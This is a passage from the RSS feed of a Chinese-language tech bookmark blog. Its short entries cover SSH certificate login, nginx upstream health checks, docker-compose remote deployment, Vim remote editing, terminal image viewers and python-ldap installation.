&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Manufacturer: Microsoft Corporation
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Product Name: Virtual Machine
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="维尔图佐">维尔图佐&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/dev/mem: Permission denied
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="en">en&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode | grep -i domU
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Product Name: HVM domU
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="devdiskby-id">&lt;code>/dev/disk/by-id&lt;/code>&lt;/h3>
&lt;p>如果您没有 &lt;code>dmidecode&lt;/code> 运行权， 则可以使用： &lt;code>ls -1 /dev/disk/by-id/&lt;/code>&lt;/p></description></item><item><title>[分享]鑰匙圈 - 五七步槍刺刀鞘的墬子</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200710-bayonet-rope/</link><pubDate>Fri, 10 Jul 2020 12:32:27 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200710-bayonet-rope/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.mobile01.com/topicdetail.php?f=637&amp;amp;t=282596" target="_blank" rel="noopener">[分享]鑰匙圈 - 五七步槍刺刀鞘的墬子&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>SSH 证书登录教程</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200708-ssh-certificate/</link><pubDate>Wed, 08 Jul 2020 13:39:48 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200708-ssh-certificate/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.ruanyifeng.com/blog/2020/07/ssh-certificate.html" target="_blank" rel="noopener">SSH 证书登录教程&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="证书登录的流程">证书登录的流程&lt;/h3>
&lt;p>SSH 证书登录之前，如果还没有证书，需要生成证书。具体方法是：&lt;/p>
&lt;ol>
&lt;li>用户和服务器都将自己的公钥，发给 CA&lt;/li>
&lt;li>CA 使用服务器公钥，生成服务器证书，发给服务器&lt;/li>
&lt;li>CA 使用用户的公钥，生成用户证书，发给用户。&lt;/li>
&lt;/ol>
&lt;p>有了证书以后，用户就可以登录服务器了。整个过程都是 SSH 自动处理，用户无感知。&lt;/p>
&lt;ol>
&lt;li>用户登录服务器时，SSH 自动将用户证书发给服务器。&lt;/li>
&lt;li>服务器检查用户证书是否有效，以及是否由可信的 CA 颁发。&lt;/li>
&lt;li>SSH 自动将服务器证书发给用户。&lt;/li>
&lt;li>用户检查服务器证书是否有效，以及是否由信任的 CA 颁发。&lt;/li>
&lt;li>双方建立连接，服务器允许用户登录。&lt;/li>
&lt;/ol>
&lt;h3 id="生成-ca-的密钥">生成 CA 的密钥&lt;/h3>
&lt;p>虽然 CA 可以用同一对密码签发用户证书和服务器证书，但是出于安全性和灵活性，最好用不同的密钥分别签发。所以，CA 至少需要两对密钥，一对是签发用户证书的密钥，假设叫做 &lt;code>user_ca&lt;/code>，另一对是签发服务器证书的密钥，假设叫做 &lt;code>host_ca&lt;/code>。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 生成 CA 签发用户证书的密钥&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 会在~/.ssh目录生成一对密钥：user_ca（私钥）和user_ca.pub（公钥）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 各个参数含义如下&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -t rsa：指定密钥算法 RSA。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -b 4096：指定密钥的位数是4096位。安全性要求不高的场合，这个值可以小一点，但是不应小于1024。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -f ~/.ssh/user_ca：指定生成密钥的位置和文件名。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -C user_ca：指定密钥的识别字符串，相当于注释，可以随意设置。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ssh-keygen -t rsa -b &lt;span style="color:#ae81ff">4096&lt;/span> -f ~/.ssh/user_ca -C user_ca
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 生成 CA 签发服务器证书的密钥&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 会在~/.ssh目录生成一对密钥：host_ca（私钥）和host_ca.pub（公钥）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 现在，~/.ssh目录应该至少有四把密钥。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># - ~/.ssh/user_ca&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># - ~/.ssh/user_ca.pub&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># - ~/.ssh/host_ca&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># - ~/.ssh/host_ca.pub&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ssh-keygen -t rsa -b &lt;span style="color:#ae81ff">4096&lt;/span> -f host_ca -C host_ca
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="服务器安装-ca-公钥">服务器安装 CA 公钥&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 为了让服务器信任用户证书，必须将 CA 签发用户证书的公钥`user_ca.pub`，拷贝到服务器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ scp ~/.ssh/user_ca.pub root@host.example.com:/etc/ssh/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="然后将下面一行添加到服务器配置文件-etcsshsshd_config">然后，将下面一行添加到服务器配置文件 &lt;code>/etc/ssh/sshd_config&lt;/code>&lt;/h5>
&lt;pre tabindex="0">&lt;code>TrustedUserCAKeys /etc/ssh/user_ca.pub
&lt;/code>&lt;/pre>&lt;p>上面的做法是将&lt;code>user_ca.pub&lt;/code>加到&lt;code>/etc/ssh/sshd_config&lt;/code>，这会产生全局效果，即服务器的所有账户都会信任&lt;code>user_ca&lt;/code>签发的所有用户证书。&lt;/p></description></item><item><title>如何使用 Chrome 開發人員工具擷取網頁畫面與製作長截圖？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200702-howto-screenshot-page-by-chrome-devtools/</link><pubDate>Thu, 02 Jul 2020 09:07:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200702-howto-screenshot-page-by-chrome-devtools/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://tedliou.com/archives/howto-screenshot-page-by-chrome-devtools/" target="_blank" rel="noopener">如何使用 Chrome 開發人員工具擷取網頁畫面與製作長截圖？&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>開啟 Chrome 開發人員工具&lt;/li>
&lt;li>按下右上角的 more_vert，並選擇 filter_none 將它改成獨立視窗&lt;/li>
&lt;li>&lt;code>Ctrl + Shift + P&lt;/code>(&lt;code>Command + Shift + P&lt;/code>)&lt;/li>
&lt;li>輸入 &lt;code>screenshot&lt;/code>
&lt;ol>
&lt;li>Capture area screenshot：區域擷圖，選擇後你的滑鼠指標會變成 add，用它在網頁中框選出一個範圍即可擷圖。&lt;/li>
&lt;li>Capture full size screenshot：長截圖，延遲一秒左右後將會自動完成擷圖，就是這麼簡單。&lt;/li>
&lt;li>Capture node screenshot：節點擷圖，它類似長擷圖，但只有螢幕有顯示到的地方有影像，其餘都是空白。在文章後段我們會放預覽圖讓你比較一下差異。&lt;/li>
&lt;li>Capture screenshot：普通擷圖，會自動擷取視窗看得到的網頁。如果剛剛沒有讓開發者工具變成獨立視窗的話，這邊的擷圖結果就會被影響。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol></description></item><item><title>BIRD 与 BGP 的新手开场</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200622-bird-bgp-kickstart/</link><pubDate>Mon, 22 Jun 2020 09:38:55 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200622-bird-bgp-kickstart/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://soha.moe/post/bird-bgp-kickstart.html" target="_blank" rel="noopener">BIRD 与 BGP 的新手开场&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.nic.cz/labs/bird" target="_blank" rel="noopener">BIRD Internet Routing Daemon&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Git内部原理介绍</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200602-1369947/</link><pubDate>Tue, 02 Jun 2020 08:39:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200602-1369947/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://cloud.tencent.com/developer/article/1369947" target="_blank" rel="noopener">Git 内部原理介绍&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Python玩转各种多媒体，视频、音频到图片</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200531-105371827/</link><pubDate>Sun, 31 May 2020 17:48:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200531-105371827/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.csdn.net/ZackSock/article/details/105371827" target="_blank" rel="noopener">Python 玩转各种多媒体，视频、音频到图片&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>nginx 添加第三方nginx_upstream_check_module 模块实现健康状态检测</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200426-nginx_upstream_check_modue/</link><pubDate>Sun, 26 Apr 2020 20:05:37 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200426-nginx_upstream_check_modue/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.cnblogs.com/dance-walter/p/12212607.html" target="_blank" rel="noopener">nginx 添加第三方 nginx_upstream_check_module 模块实现健康状态检测&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/yaoweibin/nginx_upstream_check_modue" target="_blank" rel="noopener">nginx_upstream_check_module Health check HTTP servers inside an upstream&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>nginx.conf&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">http&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">upstream&lt;/span> &lt;span style="color:#e6db74">cluster&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># simple round-robin
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">server&lt;/span> 192.168.0.1:&lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server&lt;/span> 192.168.0.2:&lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">check&lt;/span> &lt;span style="color:#e6db74">interval=5000&lt;/span> &lt;span style="color:#e6db74">rise=1&lt;/span> &lt;span style="color:#e6db74">fall=3&lt;/span> &lt;span style="color:#e6db74">timeout=4000&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">#check interval=3000 rise=2 fall=5 timeout=1000 type=ssl_hello;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">#check interval=3000 rise=2 fall=5 timeout=1000 type=http;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">#check_http_send &amp;#34;HEAD / HTTP/1.0\r\n\r\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">#check_http_expect_alive http_2xx http_3xx;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">check&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">syntax:&lt;/span> &lt;span style="color:#e6db74">*check&lt;/span> &lt;span style="color:#e6db74">interval=milliseconds&lt;/span> &lt;span style="color:#e6db74">[fall=count]&lt;/span> &lt;span style="color:#e6db74">[rise=count]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">[timeout=milliseconds]&lt;/span> &lt;span style="color:#e6db74">[default_down=true|false]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">[type=tcp|http|ssl_hello|mysql|ajp|fastcgi]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">默认配置：interval=3000&lt;/span> &lt;span style="color:#e6db74">fall=5&lt;/span> &lt;span style="color:#e6db74">rise=2&lt;/span> &lt;span style="color:#e6db74">timeout=1000&lt;/span> &lt;span style="color:#e6db74">default_down=true&lt;/span> &lt;span style="color:#e6db74">type=tcp*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>interval： 检测间隔 3 秒&lt;/li>
&lt;li>fall: 连续检测失败次数 5 次时，认定 relaserver is down&lt;/li>
&lt;li>rise: 连续检测成功 2 次时，认定 relaserver is up&lt;/li>
&lt;li>timeout: 超时 1 秒&lt;/li>
&lt;li>default_down: 初始状态为 down,只有检测通过后才为 up&lt;/li>
&lt;li>type: 检测类型方式 tcp
&lt;ol>
&lt;li>tcp :tcp 套接字,不建议使用，后端业务未 100%启动完成,前端已经放开访问的情况&lt;/li>
&lt;li>ssl_hello： 发送 hello 报文并接收 relaserver 返回的 hello 报文&lt;/li>
&lt;li>http: 自定义发送一个请求，判断上游 relaserver 接收并处理&lt;/li>
&lt;li>mysql: 连接到 mysql 服务器，判断上游 relaserver 是否还存在&lt;/li>
&lt;li>ajp: 发送 AJP Cping 数据包，接收并解析 AJP Cpong 响应以诊断上游 relaserver 是否还存活(AJP tomcat 内置的一种协议)&lt;/li>
&lt;li>fastcgi: php 程序是否存活&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>example&lt;/strong>&lt;/p></description></item><item><title>CS 視覺化：實用的 Git 指令</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200416-cs-visualized-useful-git-commands-37p1/</link><pubDate>Thu, 16 Apr 2020 20:20:16 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200416-cs-visualized-useful-git-commands-37p1/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dev.to/lydiahallie/cs-visualized-useful-git-commands-37p1" target="_blank" rel="noopener">CS 視覺化：實用的 Git 指令&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>字串欄位被轉成 True（型別 string）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200415-string-field-was-converted-to-true-type/</link><pubDate>Wed, 15 Apr 2020 21:34:09 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200415-string-field-was-converted-to-true-type/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.weithenn.org/2020/04/string-field-was-converted-to-true-type.html" target="_blank" rel="noopener">字串欄位被轉成 True（型別 string）&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.weithenn.org/2020/04/unauthorized-name-in-rakp2.html" target="_blank" rel="noopener">RAKP2 中的未授權名稱&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.weithenn.org/2020/04/failed-to-start-poweroff-connection.html" target="_blank" rel="noopener">啟動 poweroff 失敗，連線逾時&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>活久见！Linux命令行居然也可以用来查看图像？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200414-6844904122794115086/</link><pubDate>Tue, 14 Apr 2020 22:01:02 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200414-6844904122794115086/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://juejin.cn/post/6844904122794115086" target="_blank" rel="noopener">活久见！Linux 命令行居然也可以用来查看图像？&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="fim">FIM&lt;/h4>
&lt;blockquote>
&lt;p>&lt;code>sudo apt-get install fim&lt;/code>&lt;/p>&lt;/blockquote>
&lt;p>控制 FIM 中图像的常用快捷键：&lt;/p>
&lt;ul>
&lt;li>PageUp / Down：上一个图像/下一个图像&lt;/li>
&lt;li>+/-：放大/缩小&lt;/li>
&lt;li>a：自动缩放&lt;/li>
&lt;li>w：合适宽度&lt;/li>
&lt;li>h：合适身高&lt;/li>
&lt;li>j / k：向下平移/向上平移&lt;/li>
&lt;li>f / m：翻转/镜面反射&lt;/li>
&lt;li>r / R：旋转（顺时针和逆时针）&lt;/li>
&lt;li>ESC / q：退出&lt;/li>
&lt;/ul>
&lt;h4 id="viu">Viu&lt;/h4>
&lt;blockquote>
&lt;p>&lt;code>cargo install viu&lt;/code>&lt;/p>&lt;/blockquote>
&lt;h4 id="lsix">Lsix&lt;/h4>
&lt;blockquote>
&lt;p>&lt;code>sudo apt-get install imagemagick&lt;/code>&lt;/p>
&lt;p>&lt;code>wget https://github.com/hackerb9/lsix/archive/master.zip&lt;/code>&lt;/p>&lt;/blockquote></description></item><item><title>使用 docker-compose 部署到遠端 Docker 主機</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200325-how-to-deploy-on-remote-docker-hosts-with-docker-compose/</link><pubDate>Wed, 25 Mar 2020 19:30:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200325-how-to-deploy-on-remote-docker-hosts-with-docker-compose/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.docker.com/blog/how-to-deploy-on-remote-docker-hosts-with-docker-compose/" target="_blank" rel="noopener">使用 docker-compose 部署到遠端 Docker 主機&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="手動部署複製專案檔案安裝-docker-compose-並執行">手動部署：複製專案檔案、安裝 docker-compose 並執行&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ scp -r hello-docker user@remotehost:/path/to/src
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ssh user@remotehost
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ pip install docker-compose
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ cd /path/to/src/hello-docker
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker-compose up -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-docker_host-環境變數設定目標引擎">使用 DOCKER_HOST 環境變數設定目標引擎&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ cd hello-docker
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ DOCKER_HOST&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;ssh://user@remotehost&amp;#34;&lt;/span> docker-compose up -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-docker-context">使用 docker context&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ docker context create remote ‐‐docker &lt;span style="color:#e6db74">&amp;#34;host=ssh://user@remotemachine&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>remote
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Successfully created context &lt;span style="color:#e6db74">&amp;#34;remote&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker context ls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME DESCRIPTION DOCKER ENDPOINT KUBERNETES ENDPOINT ORCHESTRATOR
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>default * Current DOCKER_HOST… unix:///var/run/docker.sock swarm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>remote ssh://user@remotemachine
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ cd hello-docker
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker-compose ‐‐context remote up -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>应大多数人要求写下kubeadm的基础使用</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200324-kubeadm-base-use/</link><pubDate>Tue, 24 Mar 2020 16:00:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200324-kubeadm-base-use/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zhangguanzhang.github.io/2019/11/24/kubeadm-base-use/" target="_blank" rel="noopener">应大多数人要求写下 kubeadm 的基础使用&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.frognew.com/2018/10/kubernetes-kube-proxy-enable-ipvs.html" target="_blank" rel="noopener">Kubernetes 从 1.10 到 1.11 升级记录(续)：Kubernetes kube-proxy 开启 IPVS 模式&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://lingxiankong.github.io/2018-07-20-katacontainer-docker-k8s.html" target="_blank" rel="noopener">Katacontainers 与 Docker 和 Kubernetes 的集成&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Vim 小技巧 - 在 Linux 上用 Vim 編輯遠端檔案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200314-vim-tips-edit-remote-files-with-vim-on-linux/</link><pubDate>Sat, 14 Mar 2020 15:43:38 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200314-vim-tips-edit-remote-files-with-vim-on-linux/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.ostechnix.com/vim-tips-edit-remote-files-with-vim-on-linux/" target="_blank" rel="noopener">Vim 小技巧 - 在 Linux 上用 Vim 編輯遠端檔案&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="在-linux-上用-vim-編輯遠端檔案">在 Linux 上用 Vim 編輯遠端檔案&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ vim scp://sk@192.168.225.22/info.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol>
&lt;li>
&lt;p>&lt;code>user@remotesystem:port&lt;/code>（例如 &lt;code>sk@192.168.225.22&lt;/code>）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>單斜線 (&lt;code>/&lt;/code>) - 若要編輯位於遠端系統 $HOME 目錄的檔案，需要在遠端系統的 IP 或主機名後加上一個斜線，用來分隔檔案路徑。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>雙斜線 (&lt;code>//&lt;/code>) - 若要指定檔案完整路徑，必須使用雙斜線。例如，你要編輯遠端系統 /home/sk/Documents/ 目錄下的 info.txt，命令會是：&lt;code>vim scp://sk@192.168.225.22//home/sk/Documents/info.txt&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>如果沒有 ssh/scp 權限，可以改用其他協定，例如 &lt;code>ftp&lt;/code>：&lt;code>vim ftp://user@remotesystem/path/to/file&lt;/code>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h4 id="在-vim-工作階段內編輯遠端檔案">在 Vim 工作階段內編輯遠端檔案&lt;/h4>
&lt;p>&lt;code>:e scp://sk@192.168.225.22/info.txt&lt;/code>&lt;/p></description></item><item><title>Python 安裝模組問題</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200304-i-cant-install-python-ldap/</link><pubDate>Wed, 04 Mar 2020 15:43:38 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200304-i-cant-install-python-ldap/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/4768446/i-cant-install-python-ldap" target="_blank" rel="noopener">無法安裝 python-ldap&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="python-ldap">python-ldap&lt;/h4>
&lt;blockquote>
&lt;p>&lt;a href="https://www.python-ldap.org/en/latest/installing.html" target="_blank" rel="noopener">https://www.python-ldap.org/en/latest/installing.html&lt;/a>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ pip install python-ldap
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>In file included from Modules/LDAPObject.c:9:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Modules/errors.h:8: fatal error: lber.h: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>Debian/Ubuntu:
&lt;code>sudo apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>RedHat/CentOS:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>sudo yum install python-devel openldap-devel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo yum groupinstall &lt;span style="color:#e6db74">&amp;#34;Development tools&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="molecule">molecule&lt;/h4>
